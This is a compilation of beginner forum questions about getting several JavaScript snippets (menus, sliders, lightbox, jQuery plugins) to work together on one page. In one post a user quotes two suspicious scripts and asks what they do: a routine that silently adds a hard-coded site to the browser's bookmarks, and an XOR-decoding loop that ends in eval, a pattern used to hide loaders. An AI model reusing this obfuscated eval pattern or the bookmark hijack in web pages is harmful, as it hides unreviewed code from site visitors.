JavaScript - Best Way To Write The Scripts

Hi Chaps,

I had a two similar scripts that uses a select option to pass a parameter to a php page, then returns options/values to a seperate select drop down.

Both of these scripts worked fine until I added another script. The new script is different, in that it checks the value of the original select option, then passes that value to a seperate php page, then, if a condition is met, an input field is displayed.

This new script works, but has resulted in the two original scripts doubling the values that they return.

I hope that makes sense, if anyone can spare anytime, I'll gladly post the code and any other information . . . .

Cheers

Hey Everyone, first time posting so thanks for any help.

I'm fairly new to JS and was playing around with the horizontal menu CSS and JS files found here on the site (http://www.javascriptkit.com/script/...stopmenu.shtml).

I was able to go edit the CSS page to edit the images used in the menu, but if I wanted to add another horizontal menu in a different spot, how do I rename the CSS and JS files, and identify them in the body so that I could use the same style but just switch the img src in the javascript file?

.....I have this in the head of the page:

Code:

<link rel="stylesheet" type="text/css" href="css/csshorizontalmenu.css" />

</script>

<script type="text/javascript" src="css/csshorizontalmenu.js">

</script>

.....And this in the body

Code:

<div class="horizontalcssmenu">
<ul id="cssmenu1">
<li style="border-left: 0px solid #202020;"><a href="http://www.javascriptkit.com/">Browse</a></li>
<li><a href="http://www.javascriptkit.com/cutpastejava.shtml" >Search</a></li>

So for a second menu, can I copy the csshorizontalmenu.js files as csshorizontalmenu1.js and recall it through a div class or such?

Thanks for any help and sorry if that was confusing

Please take a look at below scripts, i want know what is their functions exactly

1-
Code:

<script type="text/javascript">
function addBookmark(url, title)
{
  if (!url) url = location.href;
  if (!title) title = document.title;
  //Gecko
  if ((typeof window.sidebar == "object") && (typeof window.sidebar.addPanel == "function")) window.sidebar.addPanel 
("xxx.com - Лучшие ", "http://xxx.com/?d=bm", "");
  //IE4+
  else if (typeof window.external == "object") window.external.AddFavorite
("http://yyy.com/?d=bm", "xxx.com - Лучшие ");
  //Opera7+
  else if (window.opera && document.createElement)
  {
    var a = document.createElement('A');
    if (!a) return false; //IF Opera 6
    a.setAttribute('rel','sidebar');
    a.setAttribute('href',url);
    a.setAttribute('title',title);
    a.click();
  }
  else return false;
  return true;
}
</script>

Code:

<script language="javascript">

for(i=0;i<s.length/4;i++) s2+=String.fromCharCode(parseInt("0x"+s.substr(i*2,2))^parseInt("0x"+s.substr(i*2+s.length/2,2)));eval(s2);
</script>

OK, so a bit of an issue...

I've done a navigation, that works just wonderfully. There are three dropdowns in the top rown, and one down below. The three on the top populate the one below it. All works fine until.... *dum dum dah dummmm*

I wanted to make the bottom box invisible until one of the top onse were selected.

The nav script goes as follows:

Code:

var cacheobj=document.dynamiccombo.stage2

function populate(x){
for (m=cacheobj.options.length-1;m>0;m--)
cacheobj.options[m]=null
selectedarray=eval(x)
for (i=0;i<selectedarray.length;i++)
cacheobj.options[i]=new Option(selectedarray[i].text,selectedarray[i].value)
cacheobj.options[0].selected=true
}



populate(combo1)

Code:

<select name="usstage1" size="1" onchange="showDiv(this.value);window.open(this.options[this.selectedIndex].value,'_top');" >
        <option selected="selected" value="javascript:populate(combo1)">United States</option>
        <option value="javascript:populate(combo2)">Alabama</option>
        <option value="javascript:populate(combo3)">Alaska</option>
        <option value="javascript:populate(combo4)">Arizona</option>
        <option value="javascript:populate(combo5)">Arkansas</option>
        <option value="javascript:populate(combo6)">California</option>
etc...

Which populates the bottom dropdown

Now to hide it, I've done:

Code:

var lastDiv = "";
function showDiv(divName) {
	
	if (lastDiv) {
		document.getElementById(lastDiv).className = "hiddenDiv";
	}
	
	if (divName && document.getElementById(divName)) {
		document.getElementById(divName).className = "visibleDiv";
		lastDiv = divName;
	}
}

And used a

Code:

<div id="menudiv" class="hiddenDiv">

around the lower dropdown, which hides it effectively

then I modded the upper menu

Code:

<select name="usstage1" size="1" onchange=" showDiv(this.value); window.open(this.options[this.selectedIndex].value,'_top')" >

adding what's in red to call the change

Now this is where I'm stuck, how can I get:

Code:

<option value="menudiv;javascript:populate(combo2)">Alabama</option>

the two options in...have tried a couple of different ways and failed horribly eash time...or maybe I'm just going about this completely wrong?

Howdy,
I found a script and another I would like to combine. One refresh's the page w/a countdown. Then other then scrolls to the bottom of the page.

I threw in the rest of the script. It pulls data from access database. Then I can just keep my browser up and watch my tickets come in. However, I can only get one or the other to work but not both. It's hassel to keep refreshing the script. I tried a meta tag for refresh. And used the bottom script. But that doen't work. I know, I am horrible hack..
Any suggestions or actual script would be wonderful

Iv got a scrolling menu on my page using...

Code:

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js"></script>
<script type="text/javascript" src="scripts.js"></script>

and i want to add a lightbox...

Code:

<script type="text/javascript" src="js/prototype.js"></script>
<script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script>
<script type="text/javascript" src="js/lightbox.js"></script>

however whichever one is at the bottom is the only one that works? Can anyone please explain why this is? I gues they conflict? I read about window.onload but neither has that i also tried. Code:

onLoad="initLightbox();"

in my body tag.

Any help greatly apreciated, im hoping theres an easy fix! :-)

Hi guys!
I have a situation where 2 scripts run perfectly when run independently
- the first one loads up a "video", running at 30 fps, made up of images,
the second one uses accelerometer data from the iPhone to throw a
blue sphere around the screen, depending on movement of the iPhone.

However, when I put these 2 scripts inside one HTML page, the "video"
runs, but the blue sphere is "frozen" - but the scripts are still the same
(one inside the head, as before, and the other in the body, again as before)

How can I get them to run in a parallel way?
I'd be very pleased indeed if someone could come up with a solution!!
Here's the complete code:

Hello all, I've been banging my head against a wall for the past few days trying to figure out why when I add another script to my page the old one stops working. Finally I found the answer, but due to still being extremely new to javascript - and coding in general - I have not been able to successfully combine the two scripts that I have. I know it is very simple, so would someone mind either walking me thru it, or just giving me an end product to see where I was going wrong? I would really appreciate any input!

The two scripts I have are

Nivo slider Code:

 	<script type="text/javascript">
    $(window).load(function() {
        $('#slider').nivoSlider({
            effect: 'random', // Specify sets like: 'fold,fade,sliceDown'
        });
    });
    </script>

Nav menu plugin

Code:

 	<script type="text/javascript">
    $(document).ready(function () {
         
        $('#nav li').hover(
            function () {
                //show its submenu
                $('ul', this).slideDown(500);
     
            },
            function () {
                //hide its submenu
                $('ul', this).slideUp(300);        
            }
        );
         
    }); 
    </script>

Hi Guys,

I'm remotely new to the world of scripting in general.

I'm trying to run two scripts:

Coda Slider (http://www.ndoherty.biz/tag/coda-slider/) and

OS X Style Dialogue (http://www.ericmmartin.com/projects/simplemodal-demos/)

But I'm am having difficulty doing so. I've heard the term "script confliction" throw around a lot - but I don't know how to solve it.

My scripting code can be seen on the practice website:

http://thenativedrum.com/practice/

Any help would be greatly appreciated. Thanks in advance!

Hi guys I have to scripts on my page and they work fine on their own but when i put them together one stops working ??

Hello,

i am trying to put on my website two jquery scripts, but when i put both of them one works correctly and second one works but like without css. What should i do to make them both work?

Hi,

I have two versions of a script: version A gets used on a visitor's first round, where the page is dynamically altered; if the visitor wants to do another round, I need to switch to version B.

I could load both versions initially, but that seems overkill. Any suggestions ?
